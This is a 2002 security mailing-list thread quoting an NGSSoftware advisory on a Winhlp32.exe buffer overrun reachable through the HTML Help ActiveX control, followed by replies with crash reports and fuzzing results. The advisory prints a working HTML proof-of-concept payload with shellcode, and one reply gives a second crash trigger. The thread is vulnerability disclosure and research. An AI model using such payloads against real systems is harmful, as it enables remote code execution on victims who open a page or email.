Correction, closing out of the app brings up an error where the memory
read
is controlled at 4141414d (EIP is elsewhere), so it appears to be a
different 
type of crash by behavior entirely... but exploitable.

Would need to stick a debugger on it and mess around to narrow it down.



> -----Original Message-----
> From: Drew [mailto:[EMAIL PROTECTED]] 
> Sent: Tuesday, August 06, 2002 7:31 PM
> To: 'Mark Litchfield'; 'Jelmer'; '[EMAIL PROTECTED]'
> Subject: RE: Winhelp32 Remote Buffer Overrun
> 
> 
> Running this on my local file fuzzer, Litchfield's begins to 
> hit exceptions at 
> 200 increments. (At a blank value it gives a memory error).
> 
> At 216 increments (and at least for awhile, above) it 
> overwrites EIP with 
> 41414141. (Windows 2000 Service Pack 2). 
> 
> Testing Jelmer's as it was written below I ran to 10,000 
> increments and did not find an issue. Testing to 10,000 with 
> .TIF as the extension did not find an issue. Testing these 
> same case tests with using the method 
> HHClick() as in Litchfield's does not give an issue.
> 
> It may have been with another method, or perhaps some 
> interaction with the webpage. It may be the characters used 
> to bruteforce it. Perhaps, they were unicode (which I could 
> test, as well as anything else).
> 
> 
> 
> > -----Original Message-----
> > From: Mark Litchfield [mailto:[EMAIL PROTECTED]]
> > Sent: Tuesday, August 06, 2002 12:24 PM
> > To: Jelmer; [EMAIL PROTECTED]
> > Subject: Re: Winhelp32 Remote Buffer Overrun
> > 
> > 
> > If I am not mistaken, I believe that Microsoft are aware of
> > this issue and have an IE patch comming out very shortly.  My 
> > brother reported this to them, please see 
> > http://www.nextgenss.com/vna/ms-whelp.txt
> > 
> > Regards
> > 
> > Cheers,
> > 
> > 
> > Mark Litchfield
> > 
> > ----- Original Message -----
> > From: "Jelmer" <[EMAIL PROTECTED]>
> > To: "Next Generation Insight Security Research Team"
> > <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; 
> > <[EMAIL PROTECTED]>
> > Sent: Thursday, August 01, 2002 5:19 PM
> > Subject: Re: Winhelp32 Remote Buffer Overrun
> > 
> > 
> > > I just installed servicepack 3 and the following code still
> > crashed my
> > > my IE6 with a memory could not be refferenced error.
> > >
> > >  <OBJECT ID=hhctrl TYPE="application/x-oleobject"
> > > CLASSID="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
> > >     <PARAM name="Command" value="Shortcut">
> > >     <PARAM name="Button" value="Bitmap:shortcut">
> > >     <PARAM name="Item1" value=",,">
> > >     <PARAM name="Item2" value="273,1,1">
> > >     <PARAM name="codebase" value="">
> > >     <PARAM name="Font" value=" A VERY VERY LONG STRING "> 
> </OBJECT>
> > >
> > > I have been told this means it is most likely 
> exploitable. I am not
> > > into buffer overflows myself though, maybe someone can 
> > confirm this.
> > > Anyways I notified microsoft of this several months ago.
> > The day after
> > > I notified
> > them
> > > someone pointed me to the ngssoftware advisory *sob*, and I
> > notified
> > > microsoft that this was probably the same issue, last I heard from
> > > them
> > they
> > > where looking in to if this was indeed the case. It's been several
> > > months and as far as I know they are still looking.
> > >
> > > --
> > >  jelmer
> > >
> > > ----- Original Message -----
> > > From: "Next Generation Insight Security Research Team"
> > > <[EMAIL PROTECTED]>
> > > To: <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>
> > > Sent: Friday, August 02, 2002 3:59 AM
> > > Subject: Winhelp32 Remote Buffer Overrun
> > >
> > >
> > > > -----BEGIN PGP SIGNED MESSAGE-----
> > > > Hash: SHA1
> > > >
> > > > NGSSoftware Insight Security Research Advisory
> > > >
> > > > Name:    Winhlp32.exe Remote BufferOverrun
> > > > Systems Affected:  Win2K Platform
> > > > Severity:  Critical
> > > > Category:               Remote Buffer Overrun
> > > > Vendor URL:   http://www.mircosoft.com
> > > > Author:   Mark Litchfield ([EMAIL PROTECTED])
> > > > Date:   1st August 2002
> > > > Advisory number: #NISR01082002
> > > >
> > > >
> > > > Description
> > > > ***********
> > > >
> > > > Many of the features available in HTML Help are
> > implemented through
> > > > the HTML Help ActiveX control (HHCtrl.ocx). The HTML 
> Help ActiveX
> > > > control is used to provide navigation features (such as a 
> > table of
> > > > contents), to display secondary windows and pop-up
> > definitions, and
> > > > to provide other features. The HTML Help ActiveX control
> > can be used
> > > > from topics in a compiled Help system as well as from HTML pages
> > > > displayed in a Web browser. The functionality provided by 
> > the HTML
> > > > Help ActiveX control will run in the HTML Help Viewer or in any
> > > > browser that supports ActiveX technology, such as 
> > Internet Explorer
> > > > (version 3.01 or later). Some features, as with the
> > WinHlp Command,
> > > > provided by the HTML Help ActiveX control are meant to be
> > available
> > > > only when it is used from a compiled HTML Help file
> > (.chm) that is
> > > > displayed by using the HTML Help Viewer.
> > > >
> > > > Details
> > > > *******
> > > >
> > > > Winhlp32.exe is vulnerable to a bufferoverrun attack
> > using the Item
> > > > parameter within WinHlp Command, the item parameter is used to
> > > > specify the file path of the WinHelp (.hlp) file in which the 
> > > > WinHelp topic is stored, and the window name of the 
> > target window.
> > > > Using this overrun, an attacker can successfully exectute
> > arbitary
> > > > code on a remote system by either encouraging the victim
> > to visit a
> > > > particular web page, whereby code would execute
> > automatically, or by
> > > > including the exploit within the source of an email.  In
> > regards to
> > > > email, execution would automatically occur when the mail
> > appears in
> > > > the preview pane and ActiveX objects are allowed (This is
> > allowed by
> > > > default, the Internet Security Settings would have to be
> > set as HIGH
> > > > to prevent execution of this vulnerability). Any exploit would
> > > > execute in the context of the logged on user.
> > > >
> > > > Visual POC Exploit
> > > > ******************
> > > >
> > > > This POC will simply display Calculator.  Please note that this
> > > > written on a Win2k PC with SP2 installed.  I have not 
> > tested it on
> > > > anything else.
> > > >
> > > > <OBJECT classid=clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11
> > > > codeBase=hhctrl.ocx#Version=4,72,8252,0 height=0 id=winhelp
> > > > type=application/x-oleobject width=0><PARAM NAME="Width" 
> > > > VALUE="26"><PARAM NAME="Height" VALUE="26"><PARAM 
> NAME="Command" 
> > > > VALUE="WinHelp"><PARAM NAME="Item1" 
> > > > 
> > VALUE="3ĄPhcalc4$&#402;Ą&#1;PVøƧéw’Š3ĄP¾&#8221;éw’ÖAAAAAA
> > > > AA
> > > > 
> > 
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> > > > 
> > 
> AAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOP
> > > > 
> > 
> PPPQQQQRRRRSSSSTTTAAAA&#11;©õwABCDEFGH&#402;Ę&#21;’ęgMyWindow"><PARAM
> > > > NAME="Item2" VALUE="NGS Software LTD"></OBJECT> 
> > > > <SCRIPT>winhelp.HHClick()</SCRIPT>
> > > >
> > > >
> > > > Fix Information
> > > > ***************
> > > >
> > > > NGSSoftware alerted Microsoft to these problems on the 6th March
> > > > 2002. NGSSoftware highly recommend installing Microsoft 
> > Windows SP3,
> > > > as the fix has been built into this service pack found at
> > > > http://www.microsoft.com An alternative to these patches 
> > would be to
> > > > ensure the security settings found in the Internet
> > Options is set to
> > > > high. Despite the Medium setting, stating that unsigned ActiveX
> > > > controls will not be downloaded, Kylie will still execute 
> > Calc.exe.
> > > > Another alternative would be to remove winhlp32.exe if it is not
> > > > required within your environment.
> > > > A check for these issues has been added to Typhon II, of 
> > which more
> > > > information is available from the
> > > > NGSSoftware website, http://www.ngssoftware.com.
> > > >
> > > > Further Information
> > > > *******************
> > > >
> > > > For further information about the scope and effects of buffer
> > > > overflows, please see
> > > >
> > > > http://www.ngssoftware.com/papers/non-stack-bo-windows.pdf
> > > > http://www.ngssoftware.com/papers/ntbufferoverflow.html
> > > > http://www.ngssoftware.com/papers/bufferoverflowpaper.rtf
> > > > http://www.ngssoftware.com/papers/unicodebo.pdf
> > > >
> > > >
> > > >
> > > >
> > > >
> > > >
> > > >
> > > >
> > > > -----BEGIN PGP SIGNATURE-----
> > > > Version: PGPfreeware 7.0.3 for non-commercial use
> > > > <http://www.pgp.com>
> > > >
> > > > iQA/AwUBPUnnf8a1CFAff8bXEQLz8gCgm4lbs5Fs2WUH5Au2cAkG0JQKKLMAn13p
> > > > a+qSkYWrz7uspZcqqRTc2r0C
> > > > =2PKN
> > > > -----END PGP SIGNATURE-----
> > > >
> > > >
> > > >
> > > >
> > >
> > >
> > >
> > 
> > 
> 

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